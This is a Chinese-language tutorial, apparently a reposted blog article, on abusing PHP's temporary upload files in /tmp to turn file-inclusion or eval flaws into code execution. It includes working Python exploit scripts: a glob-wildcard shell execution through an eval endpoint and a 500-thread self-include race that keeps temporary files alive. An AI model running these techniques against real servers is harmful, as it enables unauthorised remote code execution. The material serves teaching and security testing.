利用PHP的POST臨時檔案機制實現任意檔案上傳
點選進入“PHP開源社群”
免費獲取進階面試、文件、影片資源
一、原理
向 PHP 傳送 Post 資料包,如果資料包中包含檔案,無論 php 程式碼中有沒有處理檔案上傳的邏輯,php 都會將這個檔案儲存為一個臨時檔案
-
該檔案預設儲存在 /tmp 目錄中『可通過 php.ini 的 upload_tmp_dir 指定儲存位置』
-
檔名為 php[6個隨機字元],例:phpG4ef0q
-
若本次請求正常結束,臨時檔案會被自動刪除
-
若非正常結束,比如崩潰,臨時檔案可能會被永久保留
在 檔案包含漏洞 找不到可以利用的檔案時,即可利用這個方法,找到臨時檔名,然後包含之!
二、如何獲取臨時檔名
1、$_FILES
可以通過 $_FILES 獲取檔案資訊
Array
(
[name] => run.sh
[full_path] => run.sh
[type] =>
[tmp_name] => /tmp/phpoFnbQf
[error] => 0
[size] => 10
)
2、phpinfo
phpinfo 頁面會將當前請求上下文中所有變數都打印出來,若我們直接向 phpinfo頁面送包含檔案的 post請求,則即可在返回包裡找到 $_FILES 變數的內容,從而拿到臨時檔名
3、glob
若上述方法都無法實施,在 Linux 中,還可以通過 glob 萬用字元 定位檔案
glob 簡單使用:
-
*
:代替 0 個或 任意個字元 -
?
:代替 1 個字元 -
[...]
:匹配其中一個字元,例[a,b,c]
匹配字元a / b / c
-
{a, b}
:匹配 a 或者 b
三、如何利用該檔案
1、組合請求
雖然檔案在請求結束後就自動刪除了,但是我們可以把執行 shell 和 上傳檔案 組合在一個請求中,php 程式碼如下:( 該 php 可以直接執行 shell, 但本例僅為展示如何利用臨時檔案 )
# a.php
<?php
$code = $_GET['code'];
eval($code);
?>
Python 指令碼利用
# run.sh 檔案內容:
# echo $PATH
import requests
# 上傳檔案同時,執行 shell
url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"
r = requests.post(url, files={'file': open('./run.sh')})
print(r.text)
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
2、延長臨時檔案存在時間
部分情況下,我們無法將 上傳檔案 和 執行shell 組合在一起,利用下述方法使得檔案存在更多時間,從而在其他位置進行利用!
可以通過 檔案包含 讓 php 包含自身從而導致死迴圈,隨後 php 守護程序會因記憶體溢位而崩潰,但是 php 自身是不會因為錯誤直接退出的,它會清空自己的記憶體堆疊,以便從錯誤中恢復,這就保證了 web 服務的正常運轉。
同時該過程也會打斷 php 對臨時檔案的處理,雖然最終仍會被刪除,但相較之前可以明顯看出臨時檔案在磁碟的中存在的時間變長了!
基於此,我們便可以編寫併發指令碼,不斷髮起 post 檔案的請求
import requests
from threading import Thread
def test():
url = "http://localhost:8080/include.php?file=include.php"
r = requests.post(url, files={'file': open('./run.sh')})
print(r.text)
lst = []
for _ in range(500):
t = Thread(target=test)
lst.append(t)
t.start()
for item in lst:
item.join()
可以看到,當我們在請求時,磁碟中總是存在尚未被刪除的臨時檔案。直至請求停止,檔案被全部刪除
與此同時,便可以在其他地方使用上述 glob 路徑萬用字元泛式載入臨時檔案
import requests
url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"
r = requests.get(url)
print(r.text)
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
*宣告:本文於網路整理,版權歸原作者所有,如來源資訊有誤或侵犯權益,請聯絡我們刪除或授權事宜
END
PHP開源社群
掃描關注 進入”PHP資料“
免費獲取進階
面試、文件、影片資源
點選“檢視原文”獲取更多
- MySQL中 8 種常見的 SQL 錯誤用法
- 一起來用用 php的生成器 yield
- PHP 記憶體溢位 ?如何解決呢 ?
- 為速度而生:PHP 與 Golang 的合體 —— RoadRunner
- PHP是如何實現訊息佇列(RabbitMQ)的
- 現在應該開始使用的 10 個 PHP 8.1 功能
- 談下php如何縮短介面響應時間
- PHP是如何實現多伺服器SESSION共享
- MySQL間隙鎖死鎖問題
- Hook技術簡介
- 你會使用 Linux 編輯器 Vim 嗎?
- php實現圖書管理系統詳細介紹
- 面試官問:Redis 快取都有哪些異常,各自有哪些解決方案
- 面試被問到:關於php檔案包含你瞭解多少?
- 一張小圖看盡 Nginx
- php快速搭建swoole玩轉協程
- Laravel 使用Guzzle執行HTTP請求
- PHP中的異常處理機制
- 基於redis的分散式鎖詳解
- 如何通過查原始碼的方式解決程式設計中遇到的問題?